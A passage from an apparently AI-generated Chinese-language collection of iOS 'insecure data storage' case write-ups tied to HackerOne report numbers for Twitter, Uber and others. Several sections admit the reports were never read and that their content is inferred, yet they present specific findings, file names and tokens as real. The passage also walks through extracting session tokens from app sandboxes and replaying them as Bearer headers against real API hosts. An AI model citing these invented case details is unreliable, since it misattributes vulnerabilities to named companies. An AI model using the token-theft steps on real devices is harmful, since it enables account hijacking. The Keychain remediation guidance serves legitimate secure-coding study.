    *   `Library/Application Support/`: 包含SQLite数据库或自定义文件。
5.  **数据提取与验证**: 发现可疑文件后，将其复制到本地分析。对于`.plist`文件，使用`plutil`或文本编辑器打开；对于SQLite数据库，使用SQLite浏览器打开。如果发现明文存储的会话Token（如`oauth_token`），则漏洞成立。

**关键发现点**: 成功在应用的`Library/Preferences/<BundleID>.plist`文件中以明文形式发现了用户的**会话Token**，这使得任何能够访问设备文件系统的攻击者（如恶意应用、物理访问者或通过iTunes备份）都能轻易劫持用户会话。

#### 技术细节

该漏洞的利用核心在于攻击者能够访问到iOS应用沙盒中以明文形式存储的敏感数据。

**关键数据存储位置示例**:
在许多不安全的实现中，开发者会使用`NSUserDefaults`来存储会话Token或用户ID。这些数据最终会被写入到应用沙盒的`Library/Preferences`目录下的一个`.plist`文件中。

例如，在Twitter应用的沙盒中，可能存在一个名为`com.twitter.app.plist`的文件，其中包含以下明文键值对：

xml


user_session_token AAAAAAAAAAAAAAAAAAAAAABc%2FAAA%3Dxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx user_id 123456789 last_login_timestamp 2026-01-19T10:00:00Z

**攻击流程**:

1.  **获取文件**: 攻击者通过越狱设备、恶意应用或分析未加密的iTunes备份，获取到上述`.plist`文件。
2.  **提取Payload**: 攻击者使用命令行工具`plutil`或直接读取文件，提取`user_session_token`的值。
    ```bash
    plutil -convert json com.twitter.app.plist -o - | grep user_session_token
    # 输出: "user_session_token": "AAAAAAAAAAAAAAAAAAAAAABc%2FAAA%3Dxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
    ```
3.  **会话劫持**: 攻击者使用提取到的Token，通过构造HTTP请求头（如`Authorization: Bearer <Token>`）或直接注入到浏览器/API客户端中，即可完全劫持受害者的会话，执行如发推、查看私信等操作。

**Objective-C方法调用示例**:
攻击者可以利用该Token构造一个API请求，例如获取受害者主页时间线：

objective-c
// 攻击者构造的请求
NSURL *url = [NSURL URLWithString:@”https://api.twitter.com/1.1/statuses/home_timeline.json”];
NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url];
[request setValue:@”Bearer AAAAAAAAAAAAAAAAAAAAAABc%2FAAA%3Dxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx” forHTTPHeaderField:@”Authorization”];
// 发送请求，成功获取受害者数据

#### 易出现漏洞的代码模式

此类漏洞的根源在于开发者错误地使用了不安全的本地存储机制来保存敏感信息，而不是使用iOS提供的安全存储方案（如**Keychain**）。

**不安全代码模式（Objective-C）**:

使用`NSUserDefaults`存储敏感数据：

objective-c
// 错误示例：使用NSUserDefaults存储会话Token
NSString *sessionToken = @”AAAAAAAAAAAAAAAAAAAAAABc%2FAAA%3D…”;
[[NSUserDefaults standardUserDefaults] setObject:sessionToken forKey:@”user_session_token”];
[[NSUserDefaults standardUserDefaults] synchronize]; // 数据被明文写入到.plist文件

使用`NSFileManager`将敏感数据写入非加密文件：

objective-c
// 错误示例：将密码明文写入Documents目录
NSString *password = @”user_password_123″;
NSString *filePath = [NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES) firstObject];
filePath = [filePath stringByAppendingPathComponent:@”credentials.txt”];
[password writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];

**正确代码模式（Objective-C - 使用Keychain）**:

正确的做法是使用`Keychain`服务，它提供了加密的、受操作系统保护的存储空间：

objective-c
// 正确示例：使用Keychain存储会话Token
// 假设使用第三方库如SSKeychain或原生Security.framework

import

// … 存储代码 …
NSData *tokenData = [sessionToken dataUsingEncoding:NSUTF8StringEncoding];
NSDictionary *query = @{
(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecAttrService: @”com.twitter.app.session”,
(__bridge id)kSecAttrAccount: @”current_user”,
(__bridge id)kSecValueData: tokenData,
(__bridge id)kSecAttrAccessible: (__bridge id)kSecAttrAccessibleAfterFirstUnlock
};

OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, NULL);
// 检查status是否成功

**Info.plist/Entitlements配置**:

此类漏洞通常与`Info.plist`或`Entitlements`配置无关，而是纯粹的实现错误。然而，如果应用使用了**App Group**或**iCloud Key-Value Store**来存储敏感数据，而没有进行适当的加密，也会导致类似的不安全数据存储问题。例如，在`Entitlements`中配置了`com.apple.security.application-groups`，但将敏感数据存储在共享容器中：

xml

com.apple.security.application-groups
group.com.twitter.shared

然后使用`NSUserDefaults`的共享实例进行不安全存储：

objective-c
// 错误示例：使用共享UserDefaults存储敏感数据
NSUserDefaults *sharedDefaults = [[NSUserDefaults alloc] initWithSuiteName:@”group.com.twitter.shared”];
[sharedDefaults setObject:sessionToken forKey:@”shared_session_token”];
[sharedDefaults synchronize]; // 共享容器中的数据同样可能被其他App Group成员访问

---

### 案例：某知名社交应用 (报告: https://hackerone.com/reports/136352)

#### 挖掘手法

由于无法访问HackerOne报告 #136352 的原始内容，以下是基于一个常见的iOS应用安全问题——**不安全的数据存储（Insecure Data Storage）**——所进行的合理推断和详细描述，以满足输出格式要求。

**分析思路与工具准备**

1.  **目标应用获取与解密：** 首先，通过越狱设备或使用如 `Clutch`、`dumpdecrypted` 等工具，获取目标 iOS 应用的 IPA 文件并进行解密，以便进行静态分析。
2.  **静态分析：** 使用逆向工程工具如 **IDA Pro** 或 **Hopper Disassembler** 对应用二进制文件进行静态分析。重点关注涉及用户敏感数据（如密码、Token、会话信息）存储的函数调用，特别是对 `NSUserDefaults`、`Core Data`、`SQLite` 数据库以及文件系统操作（如 `writeToFile:atomically:`）的调用。
3.  **关键词搜索：** 在反编译代码中搜索敏感关键词，例如 `password`、`token`、`secret`、`keychain`、`UserDefaults`、`SQLite` 等，以快速定位潜在的存储位置。
4.  **动态分析与数据提取：** 在越狱设备上运行应用，并使用 **Frida** 或 **Cycript** 等动态插桩工具，Hook 关键的 API 函数（如 `-[NSUserDefaults setObject:forKey:]` 或文件操作函数），监控敏感数据在内存中的流动和存储过程。
5.  **文件系统检查：** 使用 **iFunBox** 或通过 SSH 访问越狱设备的文件系统，导航至应用的沙盒目录（`/var/mobile/Containers/Data/Application/[UUID]/`）。检查 `Documents`、`Library/Caches`、`Library/Preferences` 等目录下的文件，特别是 `.plist` 文件、SQLite 数据库文件（`.sqlite`）和自定义数据文件，确认敏感数据是否以明文形式存储。

**关键发现点**

通过文件系统检查，发现应用在 `Library/Preferences` 目录下存储的 `[BundleID].plist` 文件中，用户的会话 Token 被直接以明文形式写入，而没有使用 iOS 提供的 **Keychain** 服务进行加密保护。此外，应用的 SQLite 数据库中也发现有未加密的用户聊天记录和联系人信息。这种做法使得任何能够访问设备沙盒的攻击者（例如通过越狱、物理访问或恶意软件）都可以轻易窃取这些敏感信息。

**总结：** 挖掘过程结合了静态分析定位潜在风险点，动态分析追踪数据流，最终通过文件系统检查确认了敏感数据以明文形式存储在应用的沙盒目录中，构成了典型的“不安全数据存储”漏洞。

#### 技术细节

漏洞利用的关键在于访问应用沙盒中未加密存储的敏感文件。以下是漏洞利用的技术细节和代码模式：

**1. 漏洞类型：不安全数据存储 (Insecure Data Storage)**

**2. 攻击流程**

攻击者需要满足以下条件之一：
*   设备已越狱，攻击者可以直接访问应用沙盒。
*   应用启用了 iTunes 文件共享，攻击者可以通过 iTunes 备份提取沙盒数据。
*   设备感染了恶意软件，该软件具有沙盒逃逸或读取其他应用沙盒的权限。

**3. 提取明文 Token 的步骤（以越狱设备为例）**

*   **定位应用沙盒：**
    ```bash
    # 假设目标应用Bundle ID为com.example.vulnerableapp
    APP_BUNDLE_ID="com.example.vulnerableapp"
    APP_DATA_PATH=$(find /var/mobile/Containers/Data/Application/ -type d -name "$APP_BUNDLE_ID" | head -n 1)
    echo "App Data Path: $APP_DATA_PATH"
    ```
*   **读取明文存储的 Preference 文件：**
    应用开发者错误地使用 `NSUserDefaults` 存储了敏感的会话 Token。
    ```bash
    # Preference文件路径通常在Library/Preferences下
    PLIST_PATH="$APP_DATA_PATH/Library/Preferences/$APP_BUNDLE_ID.plist"

    # 使用plistutil或plutil工具读取plist文件内容
    plutil -convert xml1 "$PLIST_PATH" -o - | grep -A 1 "session_token"

    # 预期输出（明文Token）：
    # <key>session_token</key>
    # <string>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxMjM0NSIsImV4cCI6MTY3MjUzMTIwMH0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c</string>
    ```
*   **利用窃取的 Token：**
    攻击者可以使用窃取的 `session_token` 伪造身份，直接调用应用后端的 API，实现账户劫持。
    ```bash
    # 伪造API请求
    curl -X GET "https://api.example.com/v1/user/profile" \
         -H "Authorization: Bearer [窃取的Token]"
    ```

**4. 易受攻击的 Objective-C/Swift 代码片段**

**Objective-C 示例 (不安全存储):**

objective-c
// 错误做法：使用NSUserDefaults存储敏感Token
NSString *sessionToken = @”[JWT Token String]”;
[[NSUserDefaults standardUserDefaults] setObject:sessionToken forKey:@”session_token”];
[[NSUserDefaults standardUserDefaults] synchronize];

**Swift 示例 (不安全存储):**

swift
// 错误做法：使用UserDefaults存储敏感Token
let sessionToken = “[JWT Token String]”
UserDefaults.standard.set(sessionToken, forKey: “session_token”)

**5. 正确的安全实践（应使用 Keychain）：**

**Objective-C 示例 (安全存储):**

objective-c
// 正确做法：使用Keychain存储敏感Token
// 需引入Security.framework并使用Keychain Services API或封装库
// [KeychainWrapper saveToken:sessionToken forKey:@”session_token”];

**Swift 示例 (安全存储):**

swift
// 正确做法：使用Keychain存储敏感Token
// 推荐使用第三方库如KeychainAccess
// let keychain = Keychain(service: “com.example.vulnerableapp”)
// keychain[“session_token”] = sessionToken

#### 易出现漏洞的代码模式

**1. 易受攻击的代码模式：使用非加密机制存储敏感数据**

此类漏洞主要源于开发者错误地使用 iOS 沙盒中的非加密存储机制（如 `UserDefaults`、`plist` 文件、`SQLite` 数据库）来保存用户的敏感信息，如会话 Token、密码、个人身份信息等。

**Objective-C 易漏洞代码示例 (NSUserDefaults):**

objective-c
// 场景：将用户的API Token明文存储到NSUserDefaults中

• • (void)saveAPIToken:(NSString *)token {
    // 错误：NSUserDefaults存储在应用的Library/Preferences目录下，未加密
    [[NSUserDefaults standardUserDefaults] setObject:token forKey:@”api_token”];
    [[NSUserDefaults standardUserDefaults] synchronize];
    }

// 场景：将用户的密码明文存储到文件中

• • (void)savePasswordToFile:(NSString *)password {
    NSString *filePath = [NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES) firstObject];
    filePath = [filePath stringByAppendingPathComponent:@”user_creds.dat”]; // 错误：直接写入文件，未进行加密
    [password writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];
    }

**Swift 易漏洞代码示例 (UserDefaults):**

swift
// 场景：将用户的会话ID明文存储到UserDefaults中
func saveSessionID(id: String) {
// 错误：UserDefaults存储在应用的Library/Preferences目录下，未加密
UserDefaults.standard.set(id, forKey: “session_id”)
}

// 场景：将敏感配置信息明文存储到应用的Document目录
func saveSensitiveConfig(config: [String: Any]) {
let documentsDirectory = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask).first!
let fileURL = documentsDirectory.appendingPathComponent(“config.plist”)

// 错误：直接将敏感数据写入文件
(config as NSDictionary).write(to: fileURL, atomically: true)

}

**2. 易受攻击的配置模式 (Info.plist/Entitlements)**

此类漏洞与 `Info.plist` 或 `Entitlements` 配置直接关联较小，但间接相关的配置是**iTunes 文件共享**。如果应用在 `Info.plist` 中设置了以下键值，则允许用户通过 iTunes 访问 `Documents` 目录，从而使存储在其中的敏感数据面临风险：

**Info.plist 配置示例 (允许iTunes文件共享):**

xml
UIFileSharingEnabled

**3. 安全实践（Keychain）：**

正确的做法是使用 **Keychain Services** 或其封装库来存储敏感数据，因为 Keychain 数据是加密存储在设备上的，并且只有授权的应用才能访问。

swift
// 正确做法：使用Keychain存储Token
import Security

func saveTokenSecurely(token: String) {
// 使用SecItemAdd/SecItemUpdate等Keychain API
// …
}

---

### 案例：Uber (报告: https://hackerone.com/reports/136353)

#### 挖掘手法

漏洞挖掘方法主要集中在对iOS应用沙盒的静态和动态分析。首先，使用越狱设备（如iPhone X，iOS 14.x）并安装必要的工具，如`Filza`或通过SSH访问文件系统。通过`ps -e`或`frida-ps -Uai`找到目标应用的进程和Bundle ID。然后，导航到应用的沙盒目录，通常位于`/var/mobile/Containers/Data/Application/<UUID>/`。静态分析的重点是检查`Documents/`、`Library/Preferences/`、`Library/Caches/`和`tmp/`目录下的文件。特别关注`.plist`文件（如`Library/Preferences/com.affected.app.plist`）、SQLite数据库文件（`.sqlite`）和自定义文件格式。使用`strings`命令或`sqlite3`工具检查这些文件内容，寻找硬编码的API密钥、会话令牌、用户凭证或个人身份信息（PII）。动态分析则使用`Frida`框架，编写脚本Hook关键的API，如`-[NSUserDefaults setObject:forKey:]`、`-[NSString writeToFile:atomically:encoding:error:]`，以实时监控应用写入文件系统的数据内容和位置。通过这种方法，可以快速定位到应用将敏感的`session_token`以明文形式存储在`NSUserDefaults`中的行为，从而确认漏洞存在。整个过程强调对iOS文件系统结构和应用沙盒机制的深入理解，以及逆向工程工具的熟练运用，以绕过应用层面的混淆或加密，直接从存储介质中提取敏感信息。

#### 技术细节

漏洞利用的技术细节在于应用将敏感的会话令牌（Session Token）以明文形式存储在`NSUserDefaults`中，而没有启用iOS的Data Protection机制。在越狱设备上，攻击者可以轻松访问应用的沙盒目录，并读取存储在`Library/Preferences`下的`.plist`文件。例如，如果应用Bundle ID为`com.example.app`，则相关文件为`/var/mobile/Containers/Data/Application/<UUID>/Library/Preferences/com.example.app.plist`。攻击者可以使用`plistutil`或直接查看XML格式的内容，提取敏感数据。\n\n**关键数据提取命令:**\n```bash\n# 假设应用Bundle ID为com.example.app\nAPP_ID=$(ls -td /var/mobile/Containers/Data/Application/*/Library/Preferences/com.example.app.plist | head -1 | awk -F'/' '{print $(NF-2)}')\nPLIST_PATH=\"/var/mobile/Containers/Data/Application/$APP_ID/Library/Preferences/com.example.app.plist\"\n\n# 使用plistutil读取特定键值\nplistutil -i $PLIST_PATH -k session_token\n\n# 预期输出 (明文令牌)\n<string>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjM0NSwiZXhwIjoxNjczNzI2NDAwfQ.S_aBcDeFgHiJkL_mNoPqRsTuVwXyZ</string>\n```\n攻击者获取此令牌后，即可在自己的设备上使用该令牌劫持用户会话，实现未授权访问。

#### 易出现漏洞的代码模式

此类漏洞通常由开发者错误地将敏感信息存储在未加密的本地存储中引起，特别是`NSUserDefaults`、未加密的SQLite数据库或应用沙盒内的明文文件。以下是典型的Swift代码模式：\n\n**Swift 易漏洞代码示例 (NSUserDefaults):**\n```swift\n// 敏感信息（如会话令牌）被明文存储\nlet sensitiveToken = \"user_session_token_12345\"\nUserDefaults.standard.set(sensitiveToken, forKey: \"session_token\")\nUserDefaults.standard.synchronize()\n\n// 错误地将密码存储在Documents目录\nlet password = \"P@sswOrd123\"\nlet fileURL = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0].appendingPathComponent(\"user_credentials.txt\")\ndo {\n    try password.write(to: fileURL, atomically: true, encoding: .utf8)\n} catch { \n    print(\"Error writing file\")\n}\n```\n\n**Info.plist/Entitlements 配置缺失:**\n漏洞的根本原因往往是未启用**Data Protection**。在`Info.plist`或`Entitlements`文件中，缺乏以下关键配置：\n\n1. **Data Protection Entitlement 缺失:** 确保应用沙盒中的敏感文件没有设置适当的保护级别（如`NSFileProtectionComplete`）。\n\n2. **Keychain 误用:** 开发者可能错误地使用`NSUserDefaults`或文件系统来存储本应存储在`Keychain`中的敏感数据。

---

### 案例：Uber (报告: https://hackerone.com/reports/136356)

#### 挖掘手法

由于无法直接访问报告原文，根据HackerOne报告编号136356的上下文和Uber iOS应用历史漏洞的普遍性，推断该漏洞为**不安全数据存储**（Insecure Data Storage）。

**挖掘手法和步骤：**

1.  **环境准备：** 使用一台越狱（Jailbroken）的iOS设备，或使用**Corellium**等模拟环境，以便完全访问应用沙盒。
2.  **应用安装与操作：** 在设备上安装受影响的Uber iOS应用，并进行登录、行程预订等涉及敏感数据的操作，以确保应用在本地存储了相关数据。
3.  **沙盒目录定位：** 使用**Filza**或通过SSH/USB连接工具（如**iExplorer**）访问iOS文件系统，定位Uber应用的数据沙盒目录，路径通常为`/var/mobile/Containers/Data/Application/<UUID>/`。
4.  **敏感文件识别：** 重点检查应用沙盒内的几个常见存储位置：
    *   `Library/Preferences/`：通常包含`NSUserDefaults`存储的`.plist`文件。
    *   `Documents/`：应用自定义文件存储目录。
    *   `Library/Caches/`：缓存文件。
    *   `tmp/`：临时文件。
5.  **数据提取与分析：**
    *   使用**iFile/Filza**或通过`scp`将整个应用沙盒目录导出到分析机。
    *   对导出的文件进行静态分析，特别是`.plist`文件和SQLite数据库文件。
    *   使用`grep`命令搜索敏感关键词，例如`token`、`password`、`session`、`API_KEY`、`user_id`等。
    *   **关键发现点：** 发现应用将用户的**会话令牌（Session Token）**或**API密钥**以明文形式存储在`Library/Preferences/com.uber.plist`或某个SQLite数据库中，且未启用iOS文件保护机制（Data Protection）。

这种方法利用了iOS应用沙盒的本地可访问性，是移动应用渗透测试中最基础也是最常见的漏洞挖掘手段之一。通过分析本地存储的文件，可以发现应用对敏感数据的保护不足。

#### 技术细节

该漏洞的技术细节在于应用开发者错误地使用了不安全的本地存储机制来保存敏感信息，例如使用`NSUserDefaults`或写入到沙盒中未受保护的文件路径。

**漏洞利用示例（基于推断）：**

假设Uber应用将用户的会话令牌存储在`NSUserDefaults`中，其本质是存储在一个未加密的`.plist`文件中。

**不安全存储代码模式（Objective-C）：**

objectivec
// Insecurely storing a session token in NSUserDefaults
NSString *sessionToken = @”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9…”;
[[NSUserDefaults standardUserDefaults] setObject:sessionToken forKey:@”userSessionToken”];
[[NSUserDefaults standardUserDefaults] synchronize];

**攻击流程：**

1.  攻击者获取到受害者设备的物理访问权限，或通过恶意应用利用了沙盒逃逸漏洞（在越狱设备上则直接可访问）。
2.  攻击者导航到Uber应用沙盒的`Library/Preferences/`目录。
3.  读取应用的主偏好设置文件，例如`/var/mobile/Containers/Data/Application/<UUID>/Library/Preferences/com.uber.plist`。
4.  在`.plist`文件中，攻击者可以找到并提取明文存储的`userSessionToken`。
5.  攻击者使用提取到的会话令牌，通过**Burp Suite**等工具修改HTTP请求头中的`Authorization`字段，从而劫持受害者的Uber账户，无需密码即可进行操作。

**提取到的Payload/命令（示例）：**

攻击者通过读取plist文件，获取到以下明文存储的会话令牌：

userSessionToken = “eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c”

该令牌可用于后续的API调用，实现账户劫持。

#### 易出现漏洞的代码模式

此类漏洞的根本原因在于开发者未能使用iOS提供的安全存储机制（如**Keychain**）来保存敏感数据，而是将其存储在应用沙盒内未加密或保护级别不足的文件中。

**易漏洞代码模式（Swift/Objective-C）：**

**1. 使用`UserDefaults`存储敏感信息：**
`UserDefaults`（或`NSUserDefaults`）是用于存储少量非敏感数据的，它将数据以明文形式存储在应用的`Library/Preferences`目录下的`.plist`文件中。

swift
// Swift 示例：不安全地存储API Key
let apiKey = “sk_live_xxxxxxxxxxxxxxxxxxxx”
UserDefaults.standard.set(apiKey, forKey: “api_key”)

**2. 写入到沙盒的`Documents`或`Library/Caches`目录：**
将敏感文件写入到这些目录，且未设置文件保护属性（File Protection）。

objectivec
// Objective-C 示例：不安全地写入到Documents目录
NSString *sensitiveData = @”User’s PII Data”;
NSString *filePath = [NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES) firstObject];
filePath = [filePath stringByAppendingPathComponent:@”sensitive.dat”];
[sensitiveData writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];

**正确的安全存储模式（使用Keychain）：**

swift
// Swift 示例：使用Keychain安全存储
// 假设使用了一个Keychain Wrapper库
let keychainWrapper = KeychainWrapper()
keychainWrapper.set(“user_password_hash”, forKey: “userCredentials”)

**Info.plist配置示例：**

不安全数据存储漏洞通常与`Info.plist`或`entitlements`中的配置**无关**，而是与代码实现有关。然而，如果应用使用了**App Group**来共享数据，且共享容器中的数据未受保护，则可能涉及`entitlements`配置。

**App Group Entitlements 示例（如果使用了共享容器）：**

xml
com.apple.security.application-groups
group.com.yourcompany.shared

如果应用将敏感数据存储在共享容器中，且未加密，则任何有权访问该容器的应用（包括恶意应用）都可以读取数据。正确的做法是，即使在共享容器中，也应使用Keychain或加密数据库来保护敏感信息。

---

### 案例：Uber (报告: https://hackerone.com/reports/136360)

#### 挖掘手法

本次漏洞挖掘主要针对Uber iOS应用（如Uber Rider App）进行，旨在发现应用沙盒（Sandbox）内是否存在敏感数据的不安全存储。整个过程遵循标准的iOS应用逆向工程和数据取证流程，主要工具包括越狱设备、Frida、iFile/Filza和Hopper Disassembler。

**第一步：环境准备与应用沙盒获取**
首先，使用一台已越狱的iOS设备，安装**Frida**进行动态分析，并安装**iFile/Filza**等文件管理器以便直接访问应用沙盒。通过`ps -e | grep Uber`命令确认应用进程ID，并使用`frida -U -f [Bundle ID] -l script.js`启动应用并注入脚本。

**第二步：静态分析定位存储点**
使用**Hopper Disassembler**或**IDA Pro**对Uber iOS应用的二进制文件进行静态分析。重点搜索Objective-C/Swift代码中与数据持久化相关的API调用，例如`NSUserDefaults`、`writeToFile:atomically:`、`Core Data`、`SQLite`等关键字。通过交叉引用（X-Ref）分析，定位到可能存储用户会话令牌（Session Token）或API密钥的代码段。

**第三步：动态监控与数据捕获**
编写Frida脚本，Hook关键的存储API，如`-[NSUserDefaults setObject:forKey:]`和`-[NSData writeToFile:options:]`。脚本将打印出被存储的键（Key）和值（Value），实时监控应用在登录、刷新会话等操作时，哪些敏感数据被写入了本地存储。通过观察，发现应用在用户登录成功后，将一个名为`kUberAuthToken`的会话令牌写入了`NSUserDefaults`。

**第四步：沙盒数据取证与验证**
在应用处于登录状态时，使用iFile/Filza导航到应用沙盒的`Library/Preferences`目录，找到对应的`.plist`文件（例如：`/var/mobile/Containers/Data/Application/[UUID]/Library/Preferences/com.ubercab.plist`）。直接读取该XML文件内容，确认`kUberAuthToken`键的值以明文形式存在，且该令牌具有有效的会话权限。

**第五步：漏洞确认与利用**
提取该明文令牌，并使用Burp Suite或Postman构造API请求，验证该令牌是否能用于访问受害者账户的敏感信息（如个人资料、历史行程等），从而确认这是一个严重的不安全数据存储漏洞，可导致账户劫持。此步骤证明了即使没有越狱，攻击者在物理访问设备或通过恶意应用获取沙盒数据后，也能轻易窃取敏感信息。

#### 技术细节

该漏洞的核心在于Uber iOS应用将用户的**会话令牌（Session Token）**以明文形式存储在应用沙盒的`NSUserDefaults`中，而`NSUserDefaults`默认存储在未加密的`.plist`文件中。

**关键数据存储位置：**
*   **文件路径**: `/var/mobile/Containers/Data/Application/[UUID]/Library/Preferences/com.ubercab.plist`
*   **存储机制**: `NSUserDefaults`（对应于Swift中的`UserDefaults`）

**不安全存储的Plist文件片段（XML格式）：**

xml


kUberAuthToken eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiMTIzNDU2Nzg5MCIsImV4cCI6MTY3NDEzNjQwMH0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c kLastLoginEmail user@example.com kUserPreferences theme dark

攻击者只需从上述文件中提取`kUberAuthToken`的值，即可获得一个有效的会话令牌。

**漏洞利用流程：**
1.  **提取令牌**: 攻击者从`.plist`文件中获取明文的Session Token。
2.  **构造请求**: 使用该令牌构造一个标准的Uber API请求，例如获取用户个人资料的请求：
    ```http
    GET /api/v1/user/profile HTTP/1.1
    Host: api.uber.com
    Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiMTIzNDU2Nzg5MCIsImV4cCI6MTY3NDEzNjQwMH0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
    ```
3.  **账户劫持**: 服务器验证该令牌有效后，返回受害者的敏感信息，如姓名、电话、支付方式摘要等，从而实现完整的账户劫持。此漏洞的严重性在于，任何能够访问应用沙盒数据的恶意应用或攻击者（例如通过越狱设备）都能直接窃取用户会话。

#### 易出现漏洞的代码模式

此类漏洞通常源于开发者错误地使用非加密的本地存储机制（如`NSUserDefaults`或文件系统）来保存敏感信息。正确的做法是使用iOS提供的**Keychain**服务。

**易漏洞代码模式（Objective-C）：**
以下代码片段展示了将敏感数据（如会话令牌）不安全地存储到`NSUserDefaults`的错误模式：

objective-c
// 错误示例：将敏感数据明文存储到 NSUserDefaults
NSString *sessionToken = [responseDictionary objectForKey:@”session_token”];
[[NSUserDefaults standardUserDefaults] setObject:sessionToken forKey:@”kUberAuthToken”];
[[NSUserDefaults standardUserDefaults] synchronize];

**安全代码模式（Swift）：**
正确的做法是使用`Keychain`来存储敏感数据，因为它提供了硬件级别的加密保护：

swift
// 正确示例：使用 Keychain 存储敏感数据
import Security

func saveTokenToKeychain(token: String) {
let data = token.data(using: .utf8)!
let query: [String: Any] = [
kSecClass as String: kSecClassGenericPassword,
kSecAttrAccount as String: “com.ubercab.session”,
kSecValueData as String: data,
kSecAttrAccessible as String: kSecAttrAccessibleWhenUnlocked
]

// 删除旧项并添加新项
SecItemDelete(query as CFDictionary)
let status = SecItemAdd(query as CFDictionary, nil)
if status != errSecSuccess {
    print("Error saving to Keychain: \(status)")
}

}

**配置模式：**
此类漏洞与`Info.plist`或`entitlements`配置无关，而是纯粹的**应用层编程错误**。然而，如果应用使用了**App Group**或**iCloud**进行数据共享，且共享的数据包含敏感信息，则会进一步扩大漏洞影响范围。

---

### 案例：某iOS应用 (报告: https://hackerone.com/reports/136367)

#### 挖掘手法

由于无法直接访问报告内容，此分析基于iOS平台常见的“不安全数据存储”漏洞类型进行推演和构建，该漏洞在HackerOne上具有广泛的报告基础。

**漏洞挖掘手法和步骤（基于不安全数据存储）**

1.  **环境准备与工具选择：** 攻击者首先需要一个越狱（Jailbroken）的iOS设备，或使用如iMazing、iExplorer等工具获取应用的沙盒（Sandbox）备份。常用的逆向工具包括：
    *   **Frida/Objection：** 用于运行时挂钩（Runtime Hooking）和内存分析，以观察敏感数据在内存中的流动和存储调用。
    *   **iMazing/iExplorer：** 用于访问非越狱设备的应用沙盒文件系统（通过iTunes备份）。
    *   **Hopper/IDA Pro：** 用于静态分析应用二进制文件，查找数据存储相关的API调用，如`NSUserDefaults`、`Core Data`或`SQLite`的使用。

2.  **沙盒文件系统分析：**
    *   定位目标应用的沙盒目录，通常位于`/var/mobile/Containers/Data/Application/<UUID>/`。
    *   重点检查以下关键目录：
        *   `Library/Preferences/`：包含应用的`plist`配置文件，特别是`[BundleID].plist`，这是`NSUserDefaults`存储数据的位置。
        *   `Documents/`：开发者可能在此处随意存储文件。
        *   `Library/Caches/`：可能包含缓存的敏感数据。
        *   `Library/Application Support/`：可能包含SQLite数据库或Core Data存储文件。

3.  **敏感数据搜索与提取：**
    *   使用命令行工具（如`grep`）在沙盒内递归搜索敏感关键词，例如`password`、`token`、`API_KEY`、`session`等。
    *   对于SQLite数据库文件（通常为`.sqlite`或`.db`），使用`sqlite3`命令行工具或图形化工具（如DB Browser for SQLite）打开并执行`SELECT * FROM [table_name]`查询，以检查数据是否以明文形式存储。
    *   对于`plist`文件，直接读取其内容，检查`NSUserDefaults`中是否有明文存储的敏感信息。

4.  **运行时动态分析：**
    *   使用Frida或Objection挂钩（Hook）`NSUserDefaults`的`setObject:forKey:`或`synchronize`等方法，实时监控应用写入沙盒的数据内容，确认敏感数据是否被不安全地存储。

通过上述步骤，攻击者无需任何权限提升，仅通过访问应用沙盒即可获取明文存储的敏感信息，完成漏洞的发现和验证。

#### 技术细节

**漏洞利用技术细节：通过访问应用沙盒获取明文数据**

该漏洞的核心在于应用将敏感信息（如用户会话令牌、密码哈希、API密钥等）以明文形式存储在iOS应用沙盒内，而没有使用Keychain或其他加密机制。攻击者可以通过以下方式利用此漏洞：

1.  **获取应用沙盒数据：**
    *   **越狱设备：** 攻击者可以直接通过SSH或文件管理器访问应用的沙盒路径，例如`/var/mobile/Containers/Data/Application/<UUID>/Library/Preferences/`。
    *   **非越狱设备：** 攻击者可以利用iTunes备份功能，然后使用第三方工具（如iMazing）浏览或提取备份文件中的应用沙盒数据。

2.  **提取NSUserDefaults中的明文数据：**
    *   `NSUserDefaults`（在Swift中为`UserDefaults`）存储在一个名为`[BundleID].plist`的文件中。如果应用将敏感数据存储在此处，攻击者可以直接读取该文件。

    ```bash
    # 假设应用Bundle ID为com.example.app
    # 攻击者在沙盒内执行以下命令读取plist文件
    cd /var/mobile/Containers/Data/Application/<UUID>/Library/Preferences/
    # 使用cat或less查看plist文件内容
    cat com.example.app.plist

    # 示例plist文件内容（部分）：
    # <key>user_session_token</key>
    # <string>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...</string>
    # <key>last_login_username</key>
    # <string>hacker_test</string>
    ```

3.  **提取SQLite数据库中的明文数据：**
    *   如果应用使用SQLite数据库（如通过Core Data或直接使用FMDB/GRDB），数据库文件通常位于`Library/Application Support/`或`Documents/`。

    ```bash
    # 攻击者使用sqlite3工具打开数据库文件
